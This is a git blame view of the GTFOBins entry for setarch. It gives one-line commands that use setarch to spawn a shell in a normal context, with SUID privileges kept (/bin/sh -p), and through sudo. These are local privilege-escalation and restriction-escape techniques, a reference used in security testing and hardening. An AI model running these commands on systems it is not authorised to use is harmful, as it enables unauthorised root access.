1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/setarch.md

11 lines
257 B
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
2022-12-16 15:56:28 +01:00
description: The `uname -m` command can be used in place of `arch` to obtain the architecture.
2018-05-21 21:14:41 +02:00
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-07-16 15:01:50 +02:00
- code: setarch $(arch) /bin/sh
2018-10-05 19:55:38 +02:00
suid:
2018-07-16 15:01:50 +02:00
- code: ./setarch $(arch) /bin/sh -p
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- code: sudo setarch $(arch) /bin/sh
2018-05-23 11:34:47 +02:00
---